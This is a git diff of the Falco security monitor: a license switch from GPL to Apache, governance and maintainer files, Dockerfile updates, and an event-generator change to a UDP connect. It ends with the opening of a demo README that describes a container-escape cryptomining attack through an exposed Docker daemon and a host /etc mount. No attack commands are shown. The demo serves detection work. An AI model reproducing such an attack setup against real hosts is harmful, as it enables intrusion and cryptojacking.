-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
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-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
+   Copyright [yyyy] [name of copyright owner]
 
-  6. Each time you redistribute the Program (or any work based on the
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-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
 
-  7. If, as a consequence of a court judgment or allegation of patent
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+       http://www.apache.org/licenses/LICENSE-2.0
 
-If any portion of this section is held invalid or unenforceable under
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-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
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-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
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-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
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-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
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-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
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-make exceptions for this.  Our decision will be guided by the two goals
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-of promoting the sharing and reuse of software generally.
-
-                            NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
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-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
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-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
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-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
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-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
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-
-* In addition, as a special exception, the copyright holders give
-* permission to link the code of portions of this program with the
-* OpenSSL library under certain conditions as described in each
-* individual source file, and distribute linked combinations
-* including the two.
-* You must obey the GNU General Public License in all respects
-* for all of the code used other than OpenSSL.  If you modify
-* file(s) with this exception, you may extend this exception to your
-* version of the file(s), but you are not obligated to do so.  If you
-* do not wish to do so, delete this exception statement from your
-* version.
-
-                     END OF TERMS AND CONDITIONS
-
-            How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
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-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License along
-    with this program; if not, write to the Free Software Foundation, Inc.,
-    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Lesser General
-Public License instead of this License.
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

GOVERNANCE

@@ -0,0 +1,55 @@
+# Process for becoming a maintainer
+
+* Express interest to the existing maintainers that you or your organization is interested in becoming a
+  maintainer. Becoming a maintainer generally means that you are going to be spending substantial
+  time (>25%) on Falco for the foreseeable future. You should have domain expertise and be extremely
+  proficient in C++. Ultimately your goal is to become a maintainer that will represent your
+  organization.
+* We will expect you to start contributing increasingly complicated PRs, under the guidance
+  of the existing maintainers.
+* We may ask you to do some PRs from our backlog.
+* As you gain experience with the code base and our standards, we will ask you to do code reviews
+  for incoming PRs (i.e., all maintainers are expected to shoulder a proportional share of
+  community reviews).
+* After a period of approximately 2-3 months of working together and making sure we see eye to eye,
+  the existing maintainers will confer and decide whether to grant maintainer status or not.
+  We make no guarantees on the length of time this will take, but 2-3 months is the approximate
+  goal.
+
+## Maintainer responsibilities
+
+* Monitor Slack (delayed response is perfectly acceptable).
+* Triage GitHub issues and perform pull request reviews for other maintainers and the community.
+* During GitHub issue triage, apply all applicable [labels](https://github.com/falcosecurity/falco/labels)
+  to each new issue. Labels are extremely useful for future issue follow up. Which labels to apply
+  is somewhat subjective so just use your best judgment. 
+* Make sure that ongoing PRs are moving forward at the right pace or closing them.
+* Participate when called upon in the security releases. Note that although this should be a rare 
+  occurrence, if a serious vulnerability is found, the process may take up to several full days of
+  work to implement. This reality should be taken into account when discussing time commitment 
+  obligations with employers.
+* In general continue to be willing to spend at least 25% of ones time working on Falco (~1.25
+  business days per week).
+
+## When does a maintainer lose maintainer status
+
+If a maintainer is no longer interested or cannot perform the maintainer duties listed above, they
+should volunteer to be moved to emeritus status. In extreme cases this can also occur by a vote of
+the maintainers per the voting process below.
+
+# Conflict resolution and voting
+
+In general, we prefer that technical issues and maintainer membership are amicably worked out
+between the persons involved. If a dispute cannot be decided independently, the maintainers can be
+called in to decide an issue. If the maintainers themselves cannot decide an issue, the issue will
+be resolved by voting. The voting process is a simple majority in which each senior maintainer
+receives two votes and each normal maintainer receives one vote.
+
+# Adding new projects to the falcosecurity GitHub organization
+
+New projects will be added to the falcosecurity organization via GitHub issue discussion in one of the
+existing projects in the organization. Once sufficient discussion has taken place (~3-5 business
+days but depending on the volume of conversation), the maintainers of *the project where the issue
+was opened* (since different projects in the organization may have different maintainers) will
+decide whether the new project should be added. See the section above on voting if the maintainers
+cannot easily decide.

MAINTAINERS

@@ -0,0 +1,9 @@
+Current maintainers:
+@mstemm - Mark Stemm <mark.stemm@sysdig.com>
+@ldegio - Loris Degioanni <loris@sysdig.com>
+
+Community Mangement:
+@mfdii - Michael Ducy <michael@sysdig.com>
+
+Emeritus maintainers:
+@henridf - Henri Dubois-Ferriere <henri.dubois-ferriere@sysdig.com>

README.md

@@ -1,19 +1,21 @@
-# Sysdig Falco
+# Falco
 
 #### Latest release
 
-**v0.9.0**
-Read the [change log](https://github.com/draios/falco/blob/dev/CHANGELOG.md)
+**v0.13.0**
+Read the [change log](https://github.com/falcosecurity/falco/blob/dev/CHANGELOG.md)
 
-Dev Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=dev)](https://travis-ci.org/draios/falco)<br />
-Master Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=master)](https://travis-ci.org/draios/falco)
+Dev Branch: [![Build Status](https://travis-ci.org/falcosecurity/falco.svg?branch=dev)](https://travis-ci.org/falcosecurity/falco)<br />
+Master Branch: [![Build Status](https://travis-ci.org/falcosecurity/falco.svg?branch=master)](https://travis-ci.org/falcosecurity/falco)
 
 ## Overview
-Sysdig Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by sysdig’s system call capture infrastructure, falco lets you continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
+Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by [sysdig’s](https://github.com/draios/sysdig) system call capture infrastructure, Falco lets you continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
+
+Falco is hosted by the Cloud Native Computing Foundation (CNCF) as a sandbox level project. If you are an organization that wants to help shape the evolution of technologies that are container-packaged, dynamically-scheduled and microservices-oriented, consider joining the CNCF. For details read the [Falco CNCF project proposal](https://github.com/cncf/toc/tree/master/proposals/falco.adoc).
 
 #### What kind of behaviors can Falco detect?
 
-Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
+Falco can detect and alert on any behavior that involves making Linux system calls. Falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
 
 - A shell is run inside a container
 - A container is running in privileged mode, or is mounting a sensitive path like `/proc` from the host.
@@ -24,27 +26,27 @@ Falco can detect and alert on any behavior that involves making Linux system cal
 
 #### How Falco Compares to Other Security Tools like SELinux, Auditd, etc.
 
-One of the questions we often get when we talk about Sysdig Falco is “How does it compare to other tools like SELinux, AppArmor, Auditd, etc. that also have security policies?”. We wrote a [blog post](https://sysdig.com/blog/selinux-seccomp-falco-technical-discussion/) comparing Falco to other tools.
+One of the questions we often get when we talk about Falco is “How does it compare to other tools like SELinux, AppArmor, Auditd, etc. that also have security policies?”. We wrote a [blog post](https://sysdig.com/blog/selinux-seccomp-falco-technical-discussion/) comparing Falco to other tools.
 
 
 Documentation
 ---
-[Visit the wiki](https://github.com/draios/falco/wiki) for full documentation on falco.
+[Visit the wiki](https://github.com/falcosecurity/falco/wiki) for full documentation on falco.
 
 Join the Community
 ---
-* Follow us on [Twitter](https://twitter.com/sysdig) for general falco and sysdig news.
-* This is our [blog](https://sysdig.com/blog/), where you can find the latest [falco](https://sysdig.com/blog/tag/falco/) posts.
-* Join our [Public Slack](https://slack.sysdig.com) channel for sysdig and falco announcements and discussions.
+* [Website](https://falco.org) for Falco.
+* We are working on a blog for the Falco project. In the meantime you can find [Falco](https://sysdig.com/blog/tag/falco/) posts over on the Sysdig blog.
+* Join our [Public Slack](https://slack.sysdig.com) channel for open source sysdig and Falco announcements and discussions.
 
 License Terms
 ---
-Falco is licensed to you under the [GPL 2.0](./COPYING) open source license.
+Falco is licensed to you under the [Apache 2.0](./COPYING) open source license.
 
 Contributor License Agreements
 ---
 ### Background
- As we did for sysdig, we are formalizing the way that we accept contributions of code from the contributing community. We must now ask that contributions to falco be provided subject to the terms and conditions of a [Contributor License Agreement (CLA)](./cla). The CLA comes in two forms, applicable to contributions by individuals, or by legal entities such as corporations and their employees. We recognize that entering into a CLA with us involves real consideration on your part, and we’ve tried to make this process as clear and simple as possible.
+ We are formalizing the way that we accept contributions of code from the contributing community. We must now ask that contributions to falco be provided subject to the terms and conditions of a [Contributor License Agreement (CLA)](./cla). The CLA comes in two forms, applicable to contributions by individuals, or by legal entities such as corporations and their employees. We recognize that entering into a CLA with us involves real consideration on your part, and we’ve tried to make this process as clear and simple as possible.
 
  We’ve modeled our CLA off of industry standards, such as [the CLA used by Kubernetes](https://github.com/kubernetes/kubernetes/blob/master/CONTRIBUTING.md). Note that this agreement is not a transfer of copyright ownership, this simply is a license agreement for contributions, intended to clarify the intellectual property license granted with contributions from any person or entity. It is for your protection as a contributor as well as the protection of falco; it does not change your rights to use your own contributions for any other purpose.
 
@@ -75,7 +77,7 @@ falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
 
 Use a real name of a natural person who is an authorized representative of the contributing entity; pseudonyms or anonymous contributions are not allowed.
 
-**Government contributions**: Employees or officers of the United States Government, must review the [Government Contributor License Agreement](https://github.com/draios/falco/blob/dev/cla/falco_govt_contributor_agreement.txt), must be an authorized representative of the contributing entity, and indicate agreement to it on behalf of the contributing entity by adding the following lines to every GIT commit message:
+**Government contributions**: Employees or officers of the United States Government, must review the [Government Contributor License Agreement](https://github.com/falcosecurity/falco/blob/dev/cla/falco_govt_contributor_agreement.txt), must be an authorized representative of the contributing entity, and indicate agreement to it on behalf of the contributing entity by adding the following lines to every GIT commit message:
 
 ```
 falco-CLA-1.0-contributing-govt-entity: Full Legal Name of Entity

cpack/debian/conffiles

@@ -1,4 +1,4 @@
 /etc/falco/falco.yaml
 /etc/falco/falco_rules.yaml
-/etc/falco/application_rules.yaml
+/etc/falco/rules.available/application_rules.yaml
 /etc/falco/falco_rules.local.yaml

docker/dev/Dockerfile

@@ -1,6 +1,6 @@
 FROM debian:unstable
 
-MAINTAINER Sysdig <support@sysdig.com>
+LABEL maintainer="Sysdig <support@sysdig.com>"
 
 ENV FALCO_REPOSITORY dev
 
@@ -14,28 +14,35 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
- && apt-get update \
+RUN apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
-	curl \
-	jq \
-	gnupg2 \
+	bc \
+	clang-7 \
 	ca-certificates \
+	curl \
+	dkms \
+	gnupg2 \
 	gcc \
 	gcc-5 \
-	gcc-4.9 && rm -rf /var/lib/apt/lists/*
+	gcc-6 \
+	gdb \
+	jq \
+	libc6-dev \
+	libelf-dev \
+	llvm-7 \
+	netcat \
+	xz-utils \
+ && rm -rf /var/lib/apt/lists/*
 
-# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
-# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
-# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
-# by symlinking it to 4.9
+# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
+# default to gcc-5.
+RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
 
-RUN rm -rf /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
+RUN rm -rf /usr/bin/clang \
+ && rm -rf /usr/bin/llc \
+ && ln -s /usr/bin/clang-7 /usr/bin/clang \
+ && ln -s /usr/bin/llc-7 /usr/bin/llc
 
 RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
  && curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
@@ -44,7 +51,20 @@ RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public |
  && apt-get clean \
  && rm -rf /var/lib/apt/lists/*
 
-RUN ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
+# Some base images have an empty /lib/modules by default
+# If it's not empty, docker build will fail instead of
+# silently overwriting the existing directory
+RUN rm -df /lib/modules \
+ && ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
+
+# debian:unstable head contains binutils 2.31, which generates
+# binaries that are incompatible with kernels < 4.16. So manually
+# forcibly install binutils 2.30-22 instead.
+RUN curl -s -o binutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils_2.30-22_amd64.deb \
+ && curl -s -o libbinutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/libbinutils_2.30-22_amd64.deb \
+ && curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
+ && curl -s -o binutils-common_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-common_2.30-22_amd64.deb \
+ && dpkg -i *binutils*.deb
 
 COPY ./docker-entrypoint.sh /
 

docker/dev/docker-entrypoint.sh

@@ -1,4 +1,22 @@
 #!/bin/bash
+#
+# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
+#
+# This file is part of falco.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
 #set -e
 
 # Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module

docker/event-generator/Makefile

@@ -1,2 +1,19 @@
+#
+# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
+#
+# This file is part of falco .
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
 image:
 	docker build -t sysdig/falco-event-generator:latest .

docker/event-generator/event_generator.cpp

@@ -1,19 +1,20 @@
 /*
-Copyright (C) 2016 Draios inc.
+Copyright (C) 2016-2018 Draios Inc dba Sysdig.
 
 This file is part of falco.
 
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
 
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
+    http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
 
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
 */
 
 #include <cstdio>
@@ -296,23 +297,21 @@ void system_user_interactive() {
 }
 
 void network_activity() {
-	printf("Opening a listening socket on port 8192...\n");
+	printf("Connecting a udp socket to 10.2.3.4:8192...\n");
 	int rc;
 	int sock = socket(PF_INET, SOCK_DGRAM, 0);
 	struct sockaddr_in localhost;
 
 	localhost.sin_family = AF_INET;
 	localhost.sin_port = htons(8192);
-	inet_aton("127.0.0.1", &(localhost.sin_addr));
+	inet_aton("10.2.3.4", &(localhost.sin_addr));
 
-	if((rc = bind(sock, (struct sockaddr *) &localhost, sizeof(localhost))) != 0)
+	if((rc = connect(sock, (struct sockaddr *) &localhost, sizeof(localhost))) != 0)
 	{
 		fprintf(stderr, "Could not bind listening socket to localhost: %s\n", strerror(errno));
 		return;
 	}
 
-	listen(sock, 1);
-
 	close(sock);
 }
 

docker/local/Dockerfile

@@ -1,6 +1,6 @@
 FROM debian:unstable
 
-MAINTAINER Sysdig <support@sysdig.com>
+LABEL maintainer="Sysdig <support@sysdig.com>"
 
 ENV FALCO_VERSION 0.1.1dev
 
@@ -14,35 +14,53 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
- && apt-get update \
+RUN apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
-	curl \
-	jq \
-	gnupg2 \
+	bc \
+	clang-7 \
 	ca-certificates \
+	curl \
+	dkms \
+	gnupg2 \
 	gcc \
 	gcc-5 \
-	gcc-4.9 \
-	dkms && rm -rf /var/lib/apt/lists/*
+	gcc-6 \
+	jq \
+	libc6-dev \
+	libelf-dev \
+	llvm-7 \
+	netcat \
+	xz-utils \
+ && rm -rf /var/lib/apt/lists/*
 
-# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
-# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
-# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
-# by symlinking it to 4.9
+# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
+# default to gcc-5.
+RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
 
-RUN rm -rf /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
+RUN rm -rf /usr/bin/clang \
+ && rm -rf /usr/bin/llc \
+ && ln -s /usr/bin/clang-7 /usr/bin/clang \
+ && ln -s /usr/bin/llc-7 /usr/bin/llc
 
-RUN ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
+# Some base images have an empty /lib/modules by default
+# If it's not empty, docker build will fail instead of
+# silently overwriting the existing directory
+RUN rm -df /lib/modules \
+ && ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
 
 ADD falco-${FALCO_VERSION}-x86_64.deb /
 RUN dpkg -i /falco-${FALCO_VERSION}-x86_64.deb
 
+# debian:unstable head contains binutils 2.31, which generates
+# binaries that are incompatible with kernels < 4.16. So manually
+# forcibly install binutils 2.30-22 instead.
+RUN curl -s -o binutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils_2.30-22_amd64.deb \
+ && curl -s -o libbinutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/libbinutils_2.30-22_amd64.deb \
+ && curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
+ && curl -s -o binutils-common_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-common_2.30-22_amd64.deb \
+ && dpkg -i *binutils*.deb
+
 COPY ./docker-entrypoint.sh /
 
 ENTRYPOINT ["/docker-entrypoint.sh"]

docker/local/docker-entrypoint.sh

@@ -1,4 +1,22 @@
 #!/bin/bash
+#
+# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
+#
+# This file is part of falco.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
 #set -e
 
 # Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module

docker/stable/Dockerfile

@@ -1,6 +1,6 @@
 FROM debian:unstable
 
-MAINTAINER Sysdig <support@sysdig.com>
+LABEL maintainer="Sysdig <support@sysdig.com>"
 
 ENV FALCO_REPOSITORY stable
 
@@ -14,28 +14,34 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
- && apt-get update \
+RUN apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
-	curl \
-	jq \
+	bc \
+	clang-7 \
 	ca-certificates \
+	curl \
+	dkms \
 	gnupg2 \
 	gcc \
 	gcc-5 \
-	gcc-4.9 && rm -rf /var/lib/apt/lists/*
+	gcc-6 \
+	jq \
+	libc6-dev \
+	libelf-dev \
+	llvm-7 \
+	netcat \
+	xz-utils \
+ && rm -rf /var/lib/apt/lists/*
 
-# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
-# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
-# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
-# by symlinking it to 4.9
+# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
+# default to gcc-5.
+RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
 
-RUN rm -rf /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
+RUN rm -rf /usr/bin/clang \
+ && rm -rf /usr/bin/llc \
+ && ln -s /usr/bin/clang-7 /usr/bin/clang \
+ && ln -s /usr/bin/llc-7 /usr/bin/llc
 
 RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
  && curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
@@ -44,7 +50,20 @@ RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public |
  && apt-get clean \
  && rm -rf /var/lib/apt/lists/*
 
-RUN ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
+# Some base images have an empty /lib/modules by default
+# If it's not empty, docker build will fail instead of
+# silently overwriting the existing directory
+RUN rm -df /lib/modules \
+ && ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
+
+# debian:unstable head contains binutils 2.31, which generates
+# binaries that are incompatible with kernels < 4.16. So manually
+# forcibly install binutils 2.30-22 instead.
+RUN curl -s -o binutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils_2.30-22_amd64.deb \
+ && curl -s -o libbinutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/libbinutils_2.30-22_amd64.deb \
+ && curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
+ && curl -s -o binutils-common_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-common_2.30-22_amd64.deb \
+ && dpkg -i *binutils*.deb
 
 COPY ./docker-entrypoint.sh /
 

docker/stable/docker-entrypoint.sh

@@ -1,4 +1,22 @@
 #!/bin/bash
+#
+# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
+#
+# This file is part of falco.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
 #set -e
 
 # Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module

examples/bad-mount-cryptomining/README.md

@@ -0,0 +1,117 @@
+# Demo of Falco Detecting Cryptomining Exploit
+
+## Introduction
+
+Based on a [blog post](https://sysdig.com/blog/detecting-cryptojacking/) we wrote, this example shows how an overly permissive container environment can be exploited to install cryptomining software and how use of the exploit can be detected using Sysdig Falco.
+
+Although the exploit in the blog post involved modifying the cron configuration on the host filesystem, in this example we keep the host filesystem untouched. Instead, we have a container play the role of the "host", and set up everything using [docker-compose](https://docs.docker.com/compose/) and [docker-in-docker](https://hub.docker.com/_/docker/).
+
+## Requirements
+
+In order to run this example, you need Docker Engine >= 1.13.0 and docker-compose >= 1.10.0, as well as curl.
+
+## Example architecture
+
+The example consists of the following:
+
+* `host-machine`: A docker-in-docker instance that plays the role of the host machine. It runs a cron daemon and an independent copy of the docker daemon that listens on port 2375. This port is exposed to the world, and this port is what the attacker will use to install new software on the host.
+* `attacker-server`: A nginx instance that serves the malicious files and scripts using by the attacker.
+* `falco`: A Falco instance to detect the suspicious activity. It connects to the docker daemon on `host-machine` to fetch container information.
+
+All of the above are configured in the docker-compose file [demo.yml](./demo.yml).
+
+A separate container is created to launch the attack:
+
+* `docker123321-mysql` An [alpine](https://hub.docker.com/_/alpine/) container that mounts /etc from `host-machine` into /mnt/etc within the container. The json container description is in the file [docker123321-mysql-container.json](./docker123321-mysql-container.json).
+
+## Example Walkthrough
+
+### Start everything using docker-compose
+
+To make sure you're starting from scratch, first run `docker-compose -f demo.yml down -v` to remove any existing containers, volumes, etc.
+
